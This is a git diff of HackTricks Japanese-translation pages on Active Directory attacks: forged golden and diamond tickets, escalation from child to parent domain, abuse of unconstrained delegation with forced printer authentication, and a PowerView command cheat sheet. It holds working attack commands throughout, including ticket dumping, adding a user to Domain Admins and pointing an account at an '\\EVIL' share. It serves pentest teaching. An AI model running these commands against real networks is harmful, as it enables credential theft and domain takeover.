@ -47,13 +50,13 @@ mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid
```
{% endcode %}
ゴールデンチケットに関する詳細はこちらを参照してください:
ゴールデンチケットに関する詳細は以下を参照してください:
{% content-ref url="golden-ticket.md" %}
[golden-ticket.md](golden-ticket.md)
{% endcontent-ref %}
### ダイヤモンドチケットRubeus + KRBTGT-AES256
### ダイヤモンドチケット (Rubeus + KRBTGT-AES256)
{% code overflow="wrap" %}
```powershell
@ -67,13 +70,13 @@ Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_s
```
{% endcode %}
ダイヤモンドチケットに関する詳細は以下を参照してください:
ダイヤモンドチケットに関する詳細は以下を参照してください:
{% content-ref url="diamond-ticket.md" %}
[diamond-ticket.md](diamond-ticket.md)
{% endcontent-ref %}
{% endcode %}
{% code overflow="wrap" %}
```bash
.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local
.\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
@ -81,7 +84,7 @@ ls \\mcorp-dc.moneycorp.local\c$
```
{% endcode %}
侵害されたドメインのKRBTGTハッシュを使用して、ルートまたはエンタープライズ管理者に昇格します
侵害されたドメインのKRBTGTハッシュを使用して、ルートまたはエンタープライズ管理者のDAに昇格します:
{% code overflow="wrap" %}
```bash
@ -106,6 +109,8 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
### Linuxから
#### [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)を使用した手動操作
{% code overflow="wrap" %}
```bash
# This is for an attack from child to root domain
# Get child domain SID
@ -127,21 +132,21 @@ psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.1
```
{% endcode %}
#### [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)を使用した自動化
#### 自動的に [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py) を使用
これは、**子ドメインから親ドメインへの昇格を自動化する**Impacketスクリプトです。スクリプトには以下が必要です
これは、**子ドメインから親ドメインへの昇格を自動化する** Impacket スクリプトです。スクリプトには以下が必要です:
* ターゲットドメインコントローラー
* 子ドメインの管理者ユーザーの資格情報
* ターゲットドメインコントローラー
* 子ドメインの管理者ユーザーのクレデンシャル
手順は次のとおりです:
フローは次の通りです:
* 親ドメインのEnterprise AdminsグループのSIDを取得
* 親ドメインのエンタープライズ管理者グループのSIDを取得
* 子ドメインのKRBTGTアカウントのハッシュを取得
* ゴールデンチケットを作成
* 親ドメインにログイン
* 親ドメインのAdministratorアカウントの資格情報を取得
* `target-exec`スイッチが指定されている場合、Psexec経由で親ドメインのドメインコントローラーに認証します。
* 親ドメインの管理者アカウントのクレデンシャルを取得
* `target-exec` スイッチが指定されている場合、Psexecを介して親ドメインのドメインコントローラーに認証します。
```bash
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
```
@ -149,14 +154,17 @@ raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
* [https://adsecurity.org/?p=1772](https://adsecurity.org/?p=1772)
* [https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/](https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,61 +1,79 @@
# 制約のない委任
# Unconstrained Delegation
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## 制約のない委任
## Unconstrained delegation
これは、ドメイン管理者がドメイン内の任意の**コンピュータ**に設定できる機能です。その後、**ユーザーがコンピュータにログイン**するたびに、そのユーザーの**TGTのコピー**がDCが提供するTGSに**送信され、LSASSのメモリに保存**されます。したがって、そのマシンで管理者特権を持っている場合、チケットをダンプして**ユーザーをなりすます**ことができます。
これは、ドメイン管理者がドメイン内の任意の**コンピュータ**に設定できる機能です。次に、**ユーザーがコンピュータにログイン**するたびに、そのユーザーの**TGTのコピー**がDCによって提供される**TGS内に送信され**、**LSASSのメモリに保存されます**。したがって、マシン上で管理者権限を持っている場合、**チケットをダンプしてユーザーを偽装する**ことができます。
したがって、ドメイン管理者が「制約のない委任」機能が有効っているコンピュータにログインし、そのマシンでローカル管理者権を持っている場合、チケットをダンプしてどこでもドメイン管理者になりすますことができます(ドメイン昇格)。
したがって、ドメイン管理者が「制約のない委任」機能が有効なコンピュータにログインし、そのマシンでローカル管理者権を持っている場合、チケットをダンプしてドメイン管理者をどこでも偽装することができます(ドメイン特権昇格)。
この属性を持つ**コンピュータオブジェクトを見つける**には、[userAccountControl](https://msdn.microsoft.com/en-us/library/ms680832\(v=vs.85\).aspx)属性が[ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx)を含んでいるかどうかを確認します。これは、powerviewが行う方法です。LDAPフィルター 'userAccountControl:1.2.840.113556.1.4.803:=524288'を使用してこれを行うことができます。
この属性を持つコンピュータオブジェクトを**見つけることができます**。これは、[userAccountControl](https://msdn.microsoft.com/en-us/library/ms680832\(v=vs.85\).aspx)属性が[ADS\_UF\_TRUSTED\_FOR\_DELEGATION](https://msdn.microsoft.com/en-us/library/aa772300\(v=vs.85\).aspx)を含んでいるかどうかを確認することで行います。これは、LDAPフィルター(userAccountControl:1.2.840.113556.1.4.803:=524288)を使用して行うことができ、これがpowerviewが行うことです
<pre class="language-bash"><code class="lang-bash"># 制約のないコンピュータのリスト
<pre class="language-bash"><code class="lang-bash"># List unconstrained computers
## Powerview
Get-NetComputer -Unconstrained #DCは常に表示されますが、昇格には役立ちません
Get-NetComputer -Unconstrained #DCs always appear but aren't useful for privesc
<strong>## ADSearch
</strong>ADSearch.exe --search "(&#x26;(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname,operatingsystem
<strong># Mimikatzでチケットをエクスポート
<strong># Export tickets with Mimikatz
</strong>privilege::debug
sekurlsa::tickets /export #推奨される方法
kerberos::list /export #別の方法
sekurlsa::tickets /export #Recommended way
kerberos::list /export #Another way
# ログインを監視して新しいチケットをエクスポート
.\Rubeus.exe monitor /targetuser:&#x3C;username> /interval:10 #新しいTGTを10秒ごとにチェック</code></pre>
# Monitor logins and export new tickets
.\Rubeus.exe monitor /targetuser:&#x3C;username> /interval:10 #Check every 10s for new TGTs</code></pre>
**Mimikatz**または**Rubeus**を使用して管理者(または被害者ユーザー)のチケットをメモリにロードし、[**Pass the Ticket**](pass-the-ticket.md)を行います。\
詳細情報: [https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
[**ired.teamのUnconstrained delegationに関する詳細情報**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
**Mimikatz**または**Rubeus**を使用して管理者(または被害者ユーザー)のチケットをメモリにロードします。**[Pass the Ticket](pass-the-ticket.md)**。\
詳細情報[https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/](https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/)\
[**制約のない委任に関する詳細情報はired.teamにあります。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation)
### **強制認証**
### **Force Authentication**
攻撃者が「制約のない委任」に許可されたコンピュータを**侵害**できる場合、**プリントサーバー**を**トリック**して**自動的にログイン**させ、サーバーのメモリにTGTを保存できます。\
その後、攻撃者は、ユーザープリントサーバーコンピューターアカウントをなりすまして**Pass the Ticket攻撃**を実行できます。
攻撃者が「制約のない委任」を許可されたコンピュータを**侵害することができれば**、彼は**プリントサーバー**を**自動的にログイン**させて**TGTをメモリに保存**させることができます。\
その後、攻撃者は**チケットをパスする攻撃を実行して**、ユーザーのプリントサーバーコンピュータアカウントを偽装することができます。
プリントサーバーを任意のマシンにログインさせるには、[**SpoolSample**](https://github.com/leechristensen/SpoolSample)を使用できます
プリントサーバーを任意のマシンにログインさせるには、[**SpoolSample**](https://github.com/leechristensen/SpoolSample)を使用できます
```bash
.\SpoolSample.exe <printmachine> <unconstrinedmachine>
```
もしTGTがドメインコントローラーからである場合、[**DCSync攻撃**](acl-persistence-abuse/#dcsync)を実行し、DCからすべてのハッシュを取得することができます。\
[**この攻撃に関する詳細はired.teamを参照してください。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
If the TGT if from a domain controller, you could perform a[ **DCSync attack**](acl-persistence-abuse/#dcsync) and obtain all the hashes from the DC.\
[**More info about this attack in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-dc-print-server-and-kerberos-delegation)
**他に認証を強制する方法は以下の通りです:**
**ここに認証を強制するための他の方法があります:**
{% content-ref url="printers-spooler-service-abuse.md" %}
[printers-spooler-service-abuse.md](printers-spooler-service-abuse.md)
{% endcontent-ref %}
### 緩和策
### Mitigation
* 特定のサービスに対するDA/Adminログインを制限する
* 特権アカウントに対して「アカウントは機密であり委任できません」を設定する。
* DA/Adminのログインを特定のサービスに制限する
* 特権アカウントに対して「アカウントは機密であり、委任できません」を設定する。
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,22 +1,24 @@
# PowerView/SharpView
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
PowerViewの最新バージョンは常にPowerSploitのdevブランチにあります[https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
[**SharpView**](https://github.com/tevora-threat/SharpView)は[**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)の.NETポートです。
@ -75,7 +77,7 @@ Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain D
# Get Forest info
Get-ForestDomain
```
### ユーザー、グループ、コンピューター&OU
### ユーザー、グループ、コンピュータ & OU
```powershell
# Users
## Get usernames and their groups
@ -149,10 +151,10 @@ Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the mom
Get-LastLoggedon -ComputerName <servername> #Get last user logged on (needs admin rigths in host)
Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (needs admin rights in host)
```
### グループポリシーオブジェクト - GPO
### グループポリシーオブジェクト - GPOs
攻撃者が**GPOに対して高い権を持っている**場合、**それを悪用して権限昇格**を行うことができる可能性があります。これにより、**ユーザーに権限を追加**したり、ホストに**ローカル管理者ユーザーを追加**したり、(直ちに) **スケジュールされたタスクを作成**してアクションを実行することができます。\
[**詳細やその悪用方法については、このリンクを参照してください**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
攻撃者が**GPOに対して高い権限**を持っている場合、**ユーザーに権限を追加**したり、**ホストにローカル管理者ユーザーを追加**したり、**アクションを実行するためのスケジュールされたタスク**(即時)を作成することで**権限昇格**が可能になるかもしれません。\
[**これに関する詳細情報とその悪用方法についてはこのリンクを参照してください**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation)
```powershell
#GPO
Get-DomainGPO | select displayName #Check the names for info
@ -186,7 +188,7 @@ Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GPOType
# Enumerates the machines where a specific domain user/group is a member of a specific local group.
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
```
学習してください **GPOとACL上の権限を悪用する方法**:
権限を**GPOおよびACLを介して悪用する**方法を学びます:
{% content-ref url="../active-directory-methodology/acl-persistence-abuse/" %}
[acl-persistence-abuse](../active-directory-methodology/acl-persistence-abuse/)
@ -213,7 +215,7 @@ Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUser
#Get special rights over All administrators in domain
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
```
### 共有ファイルとフォルダ
### 共有ファイルとフォルダ
```powershell
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
Find-DomainShare -CheckShareAccess #Search readable shares
@ -280,9 +282,9 @@ Invoke-UserHunter -Stealth
#You need to be in the AD Recycle Bin group of the AD to list the deleted AD objects
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
```
### その他
### MISC
#### SIDから名前へ
#### SIDを名前に変換
```powershell
"S-1-5-21-1874506631-3219952063-538504511-2136" | Convert-SidToName
```
@ -297,7 +299,7 @@ $SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
```
#### ユーザーのなりすまし
#### ユーザーを偽装する
```powershell
# if running in -sta mode, impersonate another credential a la "runas /netonly"
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
@ -306,7 +308,7 @@ Invoke-UserImpersonation -Credential $Cred
# ... action
Invoke-RevertToSelf
```
#### 値の設定
#### 値を設定する
```powershell
# set the specified property for the given user identity
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
@ -321,14 +323,17 @@ Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう</summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[NFTコレクション**](https://opensea.io/collection/the-peass-family)を発見
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を入手
* **[💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

Some files were not shown because too many files have changed in this diff Show more